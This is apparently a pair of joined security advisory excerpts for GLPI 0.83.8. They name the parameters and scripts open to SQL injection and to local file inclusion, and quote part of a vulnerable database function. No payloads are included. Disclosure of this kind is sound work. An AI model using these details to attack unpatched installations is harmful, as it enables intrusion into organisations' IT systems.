GLPI 0.83.8 – Multiple Vulnerabilities
GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities Vendor: INDEPNET Development Team Product web page: http://www.glpi-project.org Affected version: 0.83.7 and 0.83.8 Summary: GLPI, an initialism for Gestionnaire libre de parc informatique (Free Management of Computer Equipment), was designed by Indepnet Association (a non profit organisation) in 2003. GLPI is a free asset and IT management software package, it also offers functionalities like servicedesk ITIL or license tracking and software auditing. Desc: Input passed via the POST parameter 'users_id_assign' in '/ajax/ticketassigninformation.php' script, POST parameter 'filename' in '/front/document.form.php' script, and POST parameter 'table' in 'glpi/ajax/comments.php' script is not properly sanitised before being used in SQL queries. This can be exploited by a malicious attacker to manipulate SQL queries by injecting arbitrary SQL code in the affected application. ====================================================================== /inc/db.function.php: --------------------- 274: function countElementsInTable($table, $condition="") { 275: global $DB;

GLPI is a free asset and IT management software package, it also offers functionalities like servicedesk ITIL or license tracking and software auditing. Desc: GLPI suffers from a file inclusion vulnerability (LFI) when input passed thru the 'filetype' parameter to 'common.tabs.php' script is not properly verified before being used to include files.
